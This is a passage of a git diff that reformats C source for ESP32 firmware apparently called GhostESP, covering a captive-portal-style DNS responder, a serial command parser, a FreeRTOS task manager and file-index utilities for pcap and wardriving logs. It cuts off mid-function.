*name_itr = parsed_name; - int name_len = 0; - - do { - int sub_name_len = *label; - // (len + 1) since we are adding a '.' - name_len += (sub_name_len + 1); - if (name_len > parsed_name_max_len) { - return NULL; - } +static char *parse_dns_name(char *raw_name, char *parsed_name, + size_t parsed_name_max_len) { + + char *label = raw_name; + char *name_itr = parsed_name; + int name_len = 0; + + do { + int sub_name_len = *label; + // (len + 1) since we are adding a '.' + name_len += (sub_name_len + 1); + if (name_len > parsed_name_max_len) { + return NULL; + } - // Copy the sub name that follows the the label - memcpy(name_itr, label + 1, sub_name_len); - name_itr[sub_name_len] = '.'; - name_itr += (sub_name_len + 1); - label += sub_name_len + 1; - } while (*label != 0); - - // Terminate the final string, replacing the last '.' - parsed_name[name_len - 1] = '\0'; - // Return pointer to first char after the name - return label + 1; + // Copy the sub name that follows the the label + memcpy(name_itr, label + 1, sub_name_len); + name_itr[sub_name_len] = '.'; + name_itr += (sub_name_len + 1); + label += sub_name_len + 1; + } while (*label != 0); + + // Terminate the final string, replacing the last '.' + parsed_name[name_len - 1] = '\0'; + // Return pointer to first char after the name + return label + 1; } // Parses the DNS request and prepares a DNS response with the IP of the softAP -static int parse_dns_request(char *req, size_t req_len, char *dns_reply, size_t dns_reply_max_len, dns_server_handle_t h) -{ - if (req_len > dns_reply_max_len) { - return -1; - } - - // Prepare the reply - memset(dns_reply, 0, dns_reply_max_len); - memcpy(dns_reply, req, req_len); - - // Endianess of NW packet different from chip - dns_header_t *header = (dns_header_t *)dns_reply; - ESP_LOGD(TAG, "DNS query with header id: 0x%X, flags: 0x%X, qd_count: %d", - ntohs(header->id), ntohs(header->flags), ntohs(header->qd_count)); - - // Not a standard query - if ((header->flags & OPCODE_MASK) != 0) { - return 0; - } - - // Set question response flag - header->flags |= QR_FLAG; - - uint16_t qd_count = ntohs(header->qd_count); - header->an_count = htons(qd_count); - - int reply_len = qd_count * sizeof(dns_answer_t) + req_len; - if (reply_len > dns_reply_max_len) { - return -1; +static int parse_dns_request(char *req, size_t req_len, char *dns_reply, + size_t dns_reply_max_len, dns_server_handle_t h) { + if (req_len > dns_reply_max_len) { + return -1; + } + + // Prepare the reply + memset(dns_reply, 0, dns_reply_max_len); + memcpy(dns_reply, req, req_len); + + // Endianess of NW packet different from chip + dns_header_t *header = (dns_header_t *)dns_reply; + ESP_LOGD(TAG, "DNS query with header id: 0x%X, flags: 0x%X, qd_count: %d", + ntohs(header->id), ntohs(header->flags), ntohs(header->qd_count)); + + // Not a standard query + if ((header->flags & OPCODE_MASK) != 0) { + return 0; + } + + // Set question response flag + header->flags |= QR_FLAG; + + uint16_t qd_count = ntohs(header->qd_count); + header->an_count = htons(qd_count); + + int reply_len = qd_count * sizeof(dns_answer_t) + req_len; + if (reply_len > dns_reply_max_len) { + return -1; + } + + // Pointer to current answer and question + char *cur_ans_ptr = dns_reply + req_len; + char *cur_qd_ptr = dns_reply + sizeof(dns_header_t); + char name[128]; + + // Respond to all questions based on configured rules + for (int qd_i = 0; qd_i < qd_count; qd_i++) { + char *name_end_ptr = parse_dns_name(cur_qd_ptr, name, sizeof(name)); + if (name_end_ptr == NULL) { + ESP_LOGE(TAG, "Failed to parse DNS question: %s", cur_qd_ptr); + return -1; } - // Pointer to current answer and question - char *cur_ans_ptr = dns_reply + req_len; - char *cur_qd_ptr = dns_reply + sizeof(dns_header_t); - char name[128]; - - // Respond to all questions based on configured rules - for (int qd_i = 0; qd_i < qd_count; qd_i++) { - char *name_end_ptr = parse_dns_name(cur_qd_ptr, name, sizeof(name)); - if (name_end_ptr == NULL) { - ESP_LOGE(TAG, "Failed to parse DNS question: %s", cur_qd_ptr); - return -1; - } - - dns_question_t *question = (dns_question_t *)(name_end_ptr); - uint16_t qd_type = ntohs(question->type); - uint16_t qd_class = ntohs(question->class); - - ESP_LOGD(TAG, "Received type: %d | Class: %d | Question for: %s", qd_type, qd_class, name); - - if (qd_type == QD_TYPE_A) { - esp_ip4_addr_t ip = { .addr = IPADDR_ANY }; - // Check the configured rules to decide whether to answer this question or not - for (int i = 0; i < h->num_of_entries; ++i) { - // check if the name either corresponds to the entry, or if we should answer to all queries ("*") - if (strcmp(h->entry[i].name, "*") == 0 || strcmp(h->entry[i].name, name) == 0) { - if (h->entry[i].if_key) { - esp_netif_ip_info_t ip_info; - esp_netif_get_ip_info(esp_netif_get_handle_from_ifkey(h->entry[i].if_key), &ip_info); - ip.addr = ip_info.ip.addr; - break; - } else if (h->entry->ip.addr != IPADDR_ANY) { - ip.addr = h->entry[i].ip.addr; - break; - } - } - } - if (ip.addr == IPADDR_ANY) { // no rule applies, continue with another question - continue; - } - dns_answer_t *answer = (dns_answer_t *)cur_ans_ptr; - - answer->ptr_offset = htons(0xC000 | (cur_qd_ptr - dns_reply)); - answer->type = htons(qd_type); - answer->class = htons(qd_class); - answer->ttl = htonl(ANS_TTL_SEC); - - ESP_LOGD(TAG, "Answer with PTR offset: 0x%" PRIX16 " and IP 0x%" PRIX32, ntohs(answer->ptr_offset), ip.addr); - - answer->addr_len = htons(sizeof(ip.addr)); - answer->ip_addr = ip.addr; + dns_question_t *question = (dns_question_t *)(name_end_ptr); + uint16_t qd_type = ntohs(question->type); + uint16_t qd_class = ntohs(question->class); + + ESP_LOGD(TAG, "Received type: %d | Class: %d | Question for: %s", qd_type, + qd_class, name); + + if (qd_type == QD_TYPE_A) { + esp_ip4_addr_t ip = {.addr = IPADDR_ANY}; + // Check the configured rules to decide whether to answer this question or + // not + for (int i = 0; i < h->num_of_entries; ++i) { + // check if the name either corresponds to the entry, or if we should + // answer to all queries ("*") + if (strcmp(h->entry[i].name, "*") == 0 || + strcmp(h->entry[i].name, name) == 0) { + if (h->entry[i].if_key) { + esp_netif_ip_info_t ip_info; + esp_netif_get_ip_info( + esp_netif_get_handle_from_ifkey(h->entry[i].if_key), &ip_info); + ip.addr = ip_info.ip.addr; + break; + } else if (h->entry->ip.addr != IPADDR_ANY) { + ip.addr = h->entry[i].ip.addr; + break; + } } + } + if (ip.addr == + IPADDR_ANY) { // no rule applies, continue with another question + continue; + } + dns_answer_t *answer = (dns_answer_t *)cur_ans_ptr; + + answer->ptr_offset = htons(0xC000 | (cur_qd_ptr - dns_reply)); + answer->type = htons(qd_type); + answer->class = htons(qd_class); + answer->ttl = htonl(ANS_TTL_SEC); + + ESP_LOGD(TAG, "Answer with PTR offset: 0x%" PRIX16 " and IP 0x%" PRIX32, + ntohs(answer->ptr_offset), ip.addr); + + answer->addr_len = htons(sizeof(ip.addr)); + answer->ip_addr = ip.addr; } - return reply_len; + } + return reply_len; } /* Sets up a socket and listen for DNS queries, replies to all type A queries with the IP of the softAP */ -void dns_server_task(void *pvParameters) -{ - char rx_buffer[128]; - char addr_str[128]; - int addr_family; - int ip_protocol; - dns_server_handle_t handle = pvParameters; +void dns_server_task(void *pvParameters) { + char rx_buffer[128]; + char addr_str[128]; + int addr_family; + int ip_protocol; + dns_server_handle_t handle = pvParameters; + + while (handle->started) { + + struct sockaddr_in dest_addr; + dest_addr.sin_addr.s_addr = htonl(INADDR_ANY); + dest_addr.sin_family = AF_INET; + dest_addr.sin_port = htons(DNS_PORT); + addr_family = AF_INET; + ip_protocol = IPPROTO_IP; + inet_ntoa_r(dest_addr.sin_addr, addr_str, sizeof(addr_str) - 1); + + int sock = socket(addr_family, SOCK_DGRAM, ip_protocol); + if (sock < 0) { + ESP_LOGE(TAG, "Unable to create socket: errno %d", errno); + break; + } + ESP_LOGI(TAG, "Socket created"); - while (handle->started) { + int err = bind(sock, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + if (err < 0) { + ESP_LOGE(TAG, "Socket unable to bind: errno %d", errno); + } + ESP_LOGI(TAG, "Socket bound, port %d", DNS_PORT); - struct sockaddr_in dest_addr; - dest_addr.sin_addr.s_addr = htonl(INADDR_ANY); - dest_addr.sin_family = AF_INET; - dest_addr.sin_port = htons(DNS_PORT); - addr_family = AF_INET; - ip_protocol = IPPROTO_IP; - inet_ntoa_r(dest_addr.sin_addr, addr_str, sizeof(addr_str) - 1); - - int sock = socket(addr_family, SOCK_DGRAM, ip_protocol); - if (sock < 0) { - ESP_LOGE(TAG, "Unable to create socket: errno %d", errno); - break; + while (handle->started) { + ESP_LOGI(TAG, "Waiting for data"); + struct sockaddr_in6 source_addr; // Large enough for both IPv4 or IPv6 + socklen_t socklen = sizeof(source_addr); + int len = recvfrom(sock, rx_buffer, sizeof(rx_buffer) - 1, 0, + (struct sockaddr *)&source_addr, &socklen); + + // Error occurred during receiving + if (len < 0) { + ESP_LOGE(TAG, "recvfrom failed: errno %d", errno); + close(sock); + break; + } + // Data received + else { + // Get the sender's ip address as string + if (source_addr.sin6_family == PF_INET) { + inet_ntoa_r(((struct sockaddr_in *)&source_addr)->sin_addr.s_addr, + addr_str, sizeof(addr_str) - 1); + } else if (source_addr.sin6_family == PF_INET6) { + inet6_ntoa_r(source_addr.sin6_addr, addr_str, sizeof(addr_str) - 1); } - ESP_LOGI(TAG, "Socket created"); - int err = bind(sock, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); - if (err < 0) { - ESP_LOGE(TAG, "Socket unable to bind: errno %d", errno); - } - ESP_LOGI(TAG, "Socket bound, port %d", DNS_PORT); - - while (handle->started) { - ESP_LOGI(TAG, "Waiting for data"); - struct sockaddr_in6 source_addr; // Large enough for both IPv4 or IPv6 - socklen_t socklen = sizeof(source_addr); - int len = recvfrom(sock, rx_buffer, sizeof(rx_buffer) - 1, 0, (struct sockaddr *)&source_addr, &socklen); - - // Error occurred during receiving - if (len < 0) { - ESP_LOGE(TAG, "recvfrom failed: errno %d", errno); - close(sock); - break; - } - // Data received - else { - // Get the sender's ip address as string - if (source_addr.sin6_family == PF_INET) { - inet_ntoa_r(((struct sockaddr_in *)&source_addr)->sin_addr.s_addr, addr_str, sizeof(addr_str) - 1); - } else if (source_addr.sin6_family == PF_INET6) { - inet6_ntoa_r(source_addr.sin6_addr, addr_str, sizeof(addr_str) - 1); - } - - // Null-terminate whatever we received and treat like a string... - rx_buffer[len] = 0; - - char reply[DNS_MAX_LEN]; - int reply_len = parse_dns_request(rx_buffer, len, reply, DNS_MAX_LEN, handle); - - ESP_LOGI(TAG, "Received %d bytes from %s | DNS reply with len: %d", len, addr_str, reply_len); - if (reply_len <= 0) { - ESP_LOGE(TAG, "Failed to prepare a DNS reply"); - } else { - int err = sendto(sock, reply, reply_len, 0, (struct sockaddr *)&source_addr, sizeof(source_addr)); - if (err < 0) { - ESP_LOGE(TAG, "Error occurred during sending: errno %d", errno); - break; - } - } - } + // Null-terminate whatever we received and treat like a string... + rx_buffer[len] = 0; + + char reply[DNS_MAX_LEN]; + int reply_len = + parse_dns_request(rx_buffer, len, reply, DNS_MAX_LEN, handle); + + ESP_LOGI(TAG, "Received %d bytes from %s | DNS reply with len: %d", len, + addr_str, reply_len); + if (reply_len <= 0) { + ESP_LOGE(TAG, "Failed to prepare a DNS reply"); + } else { + int err = + sendto(sock, reply, reply_len, 0, (struct sockaddr *)&source_addr, + sizeof(source_addr)); + if (err < 0) { + ESP_LOGE(TAG, "Error occurred during sending: errno %d", errno); + break; + } } + } + } - if (sock != -1) { - ESP_LOGE(TAG, "Shutting down socket"); - shutdown(sock, 0); - close(sock); - } + if (sock != -1) { + ESP_LOGE(TAG, "Shutting down socket"); + shutdown(sock, 0); + close(sock); } - vTaskDelete(NULL); + } + vTaskDelete(NULL); } -dns_server_handle_t start_dns_server(dns_server_config_t *config) -{ - dns_server_handle_t handle = calloc(1, sizeof(struct dns_server_handle) + config->num_of_entries * sizeof(dns_entry_pair_t)); - ESP_RETURN_ON_FALSE(handle, NULL, TAG, "Failed to allocate dns server handle"); +dns_server_handle_t start_dns_server(dns_server_config_t *config) { + dns_server_handle_t handle = + calloc(1, sizeof(struct dns_server_handle) + + config->num_of_entries * sizeof(dns_entry_pair_t)); + ESP_RETURN_ON_FALSE(handle, NULL, TAG, + "Failed to allocate dns server handle"); - handle->started = true; - handle->num_of_entries = config->num_of_entries; - memcpy(handle->entry, config->item, config->num_of_entries * sizeof(dns_entry_pair_t)); + handle->started = true; + handle->num_of_entries = config->num_of_entries; + memcpy(handle->entry, config->item, + config->num_of_entries * sizeof(dns_entry_pair_t)); - xTaskCreate(dns_server_task, "dns_server", 4096, handle, 5, &handle->task); - return handle; + xTaskCreate(dns_server_task, "dns_server", 4096, handle, 5, &handle->task); + return handle; } -void stop_dns_server(dns_server_handle_t handle) -{ - if (handle) { - handle->started = false; - vTaskDelete(handle->task); - free(handle); - } +void stop_dns_server(dns_server_handle_t handle) { + if (handle) { + handle->started = false; + vTaskDelete(handle->task); + free(handle); + } } \ No newline at end of file diff --git a/main/core/serial_manager.c b/main/core/serial_manager.c index 860f76f5..e5cab6fe 100644 --- a/main/core/serial_manager.c +++ b/main/core/serial_manager.c @@ -1,22 +1,23 @@ #include "core/serial_manager.h" -#include "driver/uart.h" #include "core/system_manager.h" -#include -#include -#include +#include "driver/uart.h" +#include "driver/usb_serial_jtag.h" #include "esp_task_wdt.h" #include "freertos/FreeRTOS.h" -#include "freertos/task.h" #include "freertos/queue.h" -#include -#include +#include "freertos/task.h" #include "managers/gps_manager.h" -#include "driver/usb_serial_jtag.h" +#include +#include +#include +#include +#include -#if defined(CONFIG_IDF_TARGET_ESP32S3) || defined(CONFIG_IDF_TARGET_ESP32C3) || defined(CONFIG_IDF_TARGET_ESP32C6) - #define JTAG_SUPPORTED 1 +#if defined(CONFIG_IDF_TARGET_ESP32S3) || \ + defined(CONFIG_IDF_TARGET_ESP32C3) || defined(CONFIG_IDF_TARGET_ESP32C6) +#define JTAG_SUPPORTED 1 #else - #define JTAG_SUPPORTED 0 +#define JTAG_SUPPORTED 0 #endif #define UART_NUM UART_NUM_0 @@ -29,152 +30,153 @@ char serial_buffer[SERIAL_BUFFER_SIZE]; int handle_serial_command(const char *command); void serial_task(void *pvParameter) { - uint8_t *data = (uint8_t *)malloc(BUF_SIZE); - int index = 0; + uint8_t *data = (uint8_t *)malloc(BUF_SIZE); + int index = 0; - while (1) { - int length = 0; + while (1) { + int length = 0; - // Read data from the main UART - length = uart_read_bytes(UART_NUM, data, BUF_SIZE, 10 / portTICK_PERIOD_MS); + // Read data from the main UART + length = uart_read_bytes(UART_NUM, data, BUF_SIZE, 10 / portTICK_PERIOD_MS); #if JTAG_SUPPORTED - if (length <= 0) { - length = usb_serial_jtag_read_bytes(data, BUF_SIZE, 10 / portTICK_PERIOD_MS); - } + if (length <= 0) { + length = + usb_serial_jtag_read_bytes(data, BUF_SIZE, 10 / portTICK_PERIOD_MS); + } #endif - // Process data from the main UART - if (length > 0) { - for (int i = 0; i < length; i++) { - char incoming_char = (char)data[i]; - - if (incoming_char == '\n' || incoming_char == '\r') { - serial_buffer[index] = '\0'; - if (index > 0) { - handle_serial_command(serial_buffer); - index = 0; - } - } else if (index < SERIAL_BUFFER_SIZE - 1) { - serial_buffer[index++] = incoming_char; - } else { - index = 0; - } - } - } - - // Check command queue for simulated commands - SerialCommand command; - if (xQueueReceive(commandQueue, &command, 0) == pdTRUE) { - handle_serial_command(command.command); + // Process data from the main UART + if (length > 0) { + for (int i = 0; i < length; i++) { + char incoming_char = (char)data[i]; + + if (incoming_char == '\n' || incoming_char == '\r') { + serial_buffer[index] = '\0'; + if (index > 0) { + handle_serial_command(serial_buffer); + index = 0; + } + } else if (index < SERIAL_BUFFER_SIZE - 1) { + serial_buffer[index++] = incoming_char; + } else { + index = 0; } + } + } - vTaskDelay(10 / portTICK_PERIOD_MS); + // Check command queue for simulated commands + SerialCommand command; + if (xQueueReceive(commandQueue, &command, 0) == pdTRUE) { + handle_serial_command(command.command); } - free(data); + vTaskDelay(10 / portTICK_PERIOD_MS); + } + + free(data); } // Initialize the SerialManager void serial_manager_init() { - // UART configuration for main UART - const uart_config_t uart_config = { - .baud_rate = 115200, - .data_bits = UART_DATA_8_BITS, - .parity = UART_PARITY_DISABLE, - .stop_bits = UART_STOP_BITS_1, - .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, - }; - - uart_param_config(UART_NUM, &uart_config); - uart_driver_install(UART_NUM, BUF_SIZE * 2, 0, 0, NULL, 0); + // UART configuration for main UART + const uart_config_t uart_config = { + .baud_rate = 115200, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + }; + + uart_param_config(UART_NUM, &uart_config); + uart_driver_install(UART_NUM, BUF_SIZE * 2, 0, 0, NULL, 0); #if JTAG_SUPPORTED - usb_serial_jtag_driver_config_t usb_serial_jtag_config = { - .rx_buffer_size = BUF_SIZE, - .tx_buffer_size = BUF_SIZE, - }; - usb_serial_jtag_driver_install(&usb_serial_jtag_config); + usb_serial_jtag_driver_config_t usb_serial_jtag_config = { + .rx_buffer_size = BUF_SIZE, + .tx_buffer_size = BUF_SIZE, + }; + usb_serial_jtag_driver_install(&usb_serial_jtag_config); #endif - commandQueue = xQueueCreate(10, sizeof(SerialCommand)); + commandQueue = xQueueCreate(10, sizeof(SerialCommand)); - xTaskCreate(serial_task, "SerialTask", 8192, NULL, 10, NULL); - printf("Serial Started...\n"); + xTaskCreate(serial_task, "SerialTask", 8192, NULL, 10, NULL); + printf("Serial Started...\n"); } int handle_serial_command(const char *input) { - char *input_copy = strdup(input); - if (input_copy == NULL) { - printf("Memory allocation error\n"); - return ESP_ERR_INVALID_ARG; + char *input_copy = strdup(input); + if (input_copy == NULL) { + printf("Memory allocation error\n"); + return ESP_ERR_INVALID_ARG; + } + char *argv[10]; + int argc = 0; + char *p = input_copy; + + while (*p != '\0' && argc < 10) { + while (isspace((unsigned char)*p)) { + p++; } - char *argv[10]; - int argc = 0; - char *p = input_copy; - - while (*p != '\0' && argc < 10) { - while (isspace((unsigned char)*p)) { - p++; - } - - if (*p == '\0') { - break; - } - - if (*p == '"' || *p == '\'') { - // Handle quoted arguments - char quote = *p++; - argv[argc++] = p; // Start of the argument - - while (*p != '\0' && *p != quote) { - p++; - } - - if (*p == quote) { - *p = '\0'; // Null-terminate the argument - p++; - } else { - // Handle missing closing quote - printf("Error: Missing closing quote\n"); - free(input_copy); - return ESP_ERR_INVALID_ARG; - } - } else { - // Handle unquoted arguments - argv[argc++] = p; // Start of the argument - while (*p != '\0' && !isspace((unsigned char)*p)) { - p++; - } - - if (*p != '\0') { - *p = '\0'; // Null-terminate the argument - p++; - } - } + if (*p == '\0') { + break; } - if (argc == 0) { + if (*p == '"' || *p == '\'') { + // Handle quoted arguments + char quote = *p++; + argv[argc++] = p; // Start of the argument + + while (*p != '\0' && *p != quote) { + p++; + } + + if (*p == quote) { + *p = '\0'; // Null-terminate the argument + p++; + } else { + // Handle missing closing quote + printf("Error: Missing closing quote\n"); free(input_copy); return ESP_ERR_INVALID_ARG; - } - - CommandFunction cmd_func = find_command(argv[0]); - if (cmd_func != NULL) { - cmd_func(argc, argv); - free(input_copy); - return ESP_OK; + } } else { - printf("Unknown command: %s\n", argv[0]); - free(input_copy); - return ESP_ERR_INVALID_ARG; + // Handle unquoted arguments + argv[argc++] = p; // Start of the argument + + while (*p != '\0' && !isspace((unsigned char)*p)) { + p++; + } + + if (*p != '\0') { + *p = '\0'; // Null-terminate the argument + p++; + } } + } + + if (argc == 0) { + free(input_copy); + return ESP_ERR_INVALID_ARG; + } + + CommandFunction cmd_func = find_command(argv[0]); + if (cmd_func != NULL) { + cmd_func(argc, argv); + free(input_copy); + return ESP_OK; + } else { + printf("Unknown command: %s\n", argv[0]); + free(input_copy); + return ESP_ERR_INVALID_ARG; + } } void simulateCommand(const char *commandString) { - SerialCommand command; - strncpy(command.command, commandString, sizeof(command.command) - 1); - command.command[sizeof(command.command) - 1] = '\0'; - xQueueSend(commandQueue, &command, portMAX_DELAY); + SerialCommand command; + strncpy(command.command, commandString, sizeof(command.command) - 1); + command.command[sizeof(command.command) - 1] = '\0'; + xQueueSend(commandQueue, &command, portMAX_DELAY); } \ No newline at end of file diff --git a/main/core/system_manager.c b/main/core/system_manager.c index b8f8d0f0..35162381 100644 --- a/main/core/system_manager.c +++ b/main/core/system_manager.c @@ -2,152 +2,151 @@ #include "core/system_manager.h" #include -#include #include +#include // Head of the linked list for tasks static ManagedTask *task_list_head = NULL; // Initialize the System Manager -void system_manager_init() { - task_list_head = NULL; -} +void system_manager_init() { task_list_head = NULL; } // Create a new task -bool system_manager_create_task(void (*task_function)(void *), const char *task_name, uint32_t stack_size, UBaseType_t priority, void (*on_task_complete)(const char *)) { - ManagedTask *current = task_list_head; - while (current != NULL) { - if (strcmp(current->task_name, task_name) == 0) { - printf("Task with name %s already exists.\n", task_name); - return false; - } - current = current->next; - } - - // Create a new task - TaskHandle_t task_handle; - if (xTaskCreate(task_function, task_name, stack_size, NULL, priority, &task_handle) != pdPASS) { - printf("Failed to create task %s.\n", task_name); - return false; - } - - // Allocate a new ManagedTask node - ManagedTask *new_task = (ManagedTask *)malloc(sizeof(ManagedTask)); - if (new_task == NULL) { - printf("Memory allocation failed for task %s.\n", task_name); - vTaskDelete(task_handle); // Clean up the task if we can't store it - return false; +bool system_manager_create_task(void (*task_function)(void *), + const char *task_name, uint32_t stack_size, + UBaseType_t priority, + void (*on_task_complete)(const char *)) { + ManagedTask *current = task_list_head; + while (current != NULL) { + if (strcmp(current->task_name, task_name) == 0) { + printf("Task with name %s already exists.\n", task_name); + return false; } + current = current->next; + } + + // Create a new task + TaskHandle_t task_handle; + if (xTaskCreate(task_function, task_name, stack_size, NULL, priority, + &task_handle) != pdPASS) { + printf("Failed to create task %s.\n", task_name); + return false; + } - // Initialize the new task node - new_task->task_handle = task_handle; - strncpy(new_task->task_name, task_name, sizeof(new_task->task_name) - 1); - new_task->task_name[sizeof(new_task->task_name) - 1] = '\0'; - new_task->priority = priority; - new_task->on_task_complete = on_task_complete; - new_task->next = NULL; - - // Add the new task to the head of the linked list - if (task_list_head == NULL) { - task_list_head = new_task; - } else { - ManagedTask *temp = task_list_head; - while (temp->next != NULL) { - temp = temp->next; - } - temp->next = new_task; + // Allocate a new ManagedTask node + ManagedTask *new_task = (ManagedTask *)malloc(sizeof(ManagedTask)); + if (new_task == NULL) { + printf("Memory allocation failed for task %s.\n", task_name); + vTaskDelete(task_handle); // Clean up the task if we can't store it + return false; + } + + // Initialize the new task node + new_task->task_handle = task_handle; + strncpy(new_task->task_name, task_name, sizeof(new_task->task_name) - 1); + new_task->task_name[sizeof(new_task->task_name) - 1] = '\0'; + new_task->priority = priority; + new_task->on_task_complete = on_task_complete; + new_task->next = NULL; + + // Add the new task to the head of the linked list + if (task_list_head == NULL) { + task_list_head = new_task; + } else { + ManagedTask *temp = task_list_head; + while (temp->next != NULL) { + temp = temp->next; } + temp->next = new_task; + } - printf("Task %s created successfully.\n", task_name); - return true; + printf("Task %s created successfully.\n", task_name); + return true; } - bool system_manager_remove_task(const char *task_name) { - ManagedTask *current = task_list_head; - ManagedTask *previous = NULL; - - // Search for the task by name - while (current != NULL) { - if (strcmp(current->task_name, task_name) == 0) { - vTaskDelete(current->task_handle); // Delete the FreeRTOS task - - // Call the task complete callback if available - if (current->on_task_complete != NULL) { - current->on_task_complete(task_name); - } - - // Remove the task from the linked list - if (previous == NULL) { // Removing the head - task_list_head = current->next; - } else { - previous->next = current->next; - } - - free(current); // Free the task memory - printf("Task %s deleted.\n", task_name); - return true; - } - previous = current; - current = current->next; + ManagedTask *current = task_list_head; + ManagedTask *previous = NULL; + + // Search for the task by name + while (current != NULL) { + if (strcmp(current->task_name, task_name) == 0) { + vTaskDelete(current->task_handle); // Delete the FreeRTOS task + + // Call the task complete callback if available + if (current->on_task_complete != NULL) { + current->on_task_complete(task_name); + } + + // Remove the task from the linked list + if (previous == NULL) { // Removing the head + task_list_head = current->next; + } else { + previous->next = current->next; + } + + free(current); // Free the task memory + printf("Task %s deleted.\n", task_name); + return true; } + previous = current; + current = current->next; + } - printf("Task %s not found.\n", task_name); - return false; + printf("Task %s not found.\n", task_name); + return false; } - bool system_manager_suspend_task(const char *task_name) { - ManagedTask *current = task_list_head; - while (current != NULL) { - if (strcmp(current->task_name, task_name) == 0) { - vTaskSuspend(current->task_handle); // Suspend the task - printf("Task %s suspended.\n", task_name); - return true; - } - current = current->next; + ManagedTask *current = task_list_head; + while (current != NULL) { + if (strcmp(current->task_name, task_name) == 0) { + vTaskSuspend(current->task_handle); // Suspend the task + printf("Task %s suspended.\n", task_name); + return true; } - printf("Task %s not found.\n", task_name); - return false; + current = current->next; + } + printf("Task %s not found.\n", task_name); + return false; } - bool system_manager_resume_task(const char *task_name) { - ManagedTask *current = task_list_head; - while (current != NULL) { - if (strcmp(current->task_name, task_name) == 0) { - vTaskResume(current->task_handle); // Resume the task - printf("Task %s resumed.\n", task_name); - return true; - } - current = current->next; + ManagedTask *current = task_list_head; + while (current != NULL) { + if (strcmp(current->task_name, task_name) == 0) { + vTaskResume(current->task_handle); // Resume the task + printf("Task %s resumed.\n", task_name); + return true; } - printf("Task %s not found.\n", task_name); - return false; + current = current->next; + } + printf("Task %s not found.\n", task_name); + return false; } - -bool system_manager_set_task_priority(const char *task_name, UBaseType_t new_priority) { - ManagedTask *current = task_list_head; - while (current != NULL) { - if (strcmp(current->task_name, task_name) == 0) { - vTaskPrioritySet(current->task_handle, new_priority); - current->priority = new_priority; - printf("Task %s priority changed to %d.\n", task_name, new_priority); - return true; - } - current = current->next; +bool system_manager_set_task_priority(const char *task_name, + UBaseType_t new_priority) { + ManagedTask *current = task_list_head; + while (current != NULL) { + if (strcmp(current->task_name, task_name) == 0) { + vTaskPrioritySet(current->task_handle, new_priority); + current->priority = new_priority; + printf("Task %s priority changed to %d.\n", task_name, new_priority); + return true; } - printf("Task %s not found.\n", task_name); - return false; + current = current->next; + } + printf("Task %s not found.\n", task_name); + return false; } - void system_manager_list_tasks() { - ManagedTask *current = task_list_head; - printf("Currently managed tasks:\n"); - while (current != NULL) { - printf("Task Name: %s, Priority: %d\n", current->task_name, current->priority); - current = current->next; - } + ManagedTask *current = task_list_head; + printf("Currently managed tasks:\n"); + while (current != NULL) { + printf("Task Name: %s, Priority: %d\n", current->task_name, + current->priority); + current = current->next; + } } \ No newline at end of file diff --git a/main/core/utils.c b/main/core/utils.c index d3b14a43..afd4f79f 100644 --- a/main/core/utils.c +++ b/main/core/utils.c @@ -1,114 +1,109 @@ #include "core/utils.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" +#include #include #include -#include #define TAG "Utils" -bool is_in_task_context(void) -{ - if (xTaskGetCurrentTaskHandle() != NULL) { - return true; - } else { - return false; - } +bool is_in_task_context(void) { + if (xTaskGetCurrentTaskHandle() != NULL) { + return true; + } else { + return false; + } } void url_decode(char *decoded, const char *encoded) { - char c; - int i, j = 0; - for (i = 0; encoded[i] != '\0'; i++) { - if (encoded[i] == '%') { - sscanf(&encoded[i + 1], "%2hhx", &c); - decoded[j++] = c; - i += 2; - } else if (encoded[i] == '+') { - decoded[j++] = ' '; - } else { - decoded[j++] = encoded[i]; - } + char c; + int i, j = 0; + for (i = 0; encoded[i] != '\0'; i++) { + if (encoded[i] == '%') { + sscanf(&encoded[i + 1], "%2hhx", &c); + decoded[j++] = c; + i += 2; + } else if (encoded[i] == '+') { + decoded[j++] = ' '; + } else { + decoded[j++] = encoded[i]; } - decoded[j] = '\0'; + } + decoded[j] = '\0'; } -int get_query_param_value(const char *query, const char *key, char *value, size_t value_size) { - char *param_start = strstr(query, key); - if (param_start) { - param_start += strlen(key) + 1; - char *param_end = strchr(param_start, '&'); - if (param_end == NULL) { - param_end = param_start + strlen(param_start); - } +int get_query_param_value(const char *query, const char *key, char *value, + size_t value_size) { + char *param_start = strstr(query, key); + if (param_start) { + param_start += strlen(key) + 1; + char *param_end = strchr(param_start, '&'); + if (param_end == NULL) { + param_end = param_start + strlen(param_start); + } - size_t param_len = param_end - param_start; - if (param_len >= value_size) { - return ESP_ERR_INVALID_SIZE; - } - strncpy(value, param_start, param_len); - value[param_len] = '\0'; - return ESP_OK; + size_t param_len = param_end - param_start; + if (param_len >= value_size) { + return ESP_ERR_INVALID_SIZE; } - return ESP_ERR_NOT_FOUND; + strncpy(value, param_start, param_len); + value[param_len] = '\0'; + return ESP_OK; + } + return ESP_ERR_NOT_FOUND; } +int get_next_pcap_file_index(const char *base_name) { + char path[128]; + int max_index = -1; + DIR *dir = opendir("/mnt/ghostesp/pcaps"); + if (!dir) { + ESP_LOGE(TAG, "Failed to open directory /mnt/ghostesp/pcaps"); + return -1; + } -int get_next_pcap_file_index(const char* base_name) { - char path[128]; - int max_index = -1; + struct dirent *entry; + while ((entry = readdir(dir)) != NULL) { + if (strncmp(entry->d_name, base_name, strlen(base_name)) == 0) { - DIR *dir = opendir("/mnt/ghostesp/pcaps"); - if (!dir) { - ESP_LOGE(TAG, "Failed to open directory /mnt/ghostesp/pcaps"); - return -1; - } + int index; + if (sscanf(entry->d_name + strlen(base_name), "_%d.pcap", &index) == 1) { - - struct dirent *entry; - while ((entry = readdir(dir)) != NULL) { - - if (strncmp(entry->d_name, base_name, strlen(base_name)) == 0) { - - int index; - if (sscanf(entry->d_name + strlen(base_name), "_%d.pcap", &index) == 1) { - - if (index > max_index) { - max_index = index; - } - } + if (index > max_index) { + max_index = index; } + } } + } - closedir(dir); - return max_index + 1; + closedir(dir); + return max_index + 1; } - -int get_next_csv_file_index(const char* base_name) { - char path[128]; - int max_index = -1; - - DIR *dir = opendir("/mnt/ghostesp/wardriving"); - if (!dir) { - ESP_LOGE(TAG, "Failed to open directory /mnt/ghostesp/wardriving"); - return -1; - } - - struct dirent *entry; - while ((entry = readdir(dir)) != NULL) { - if 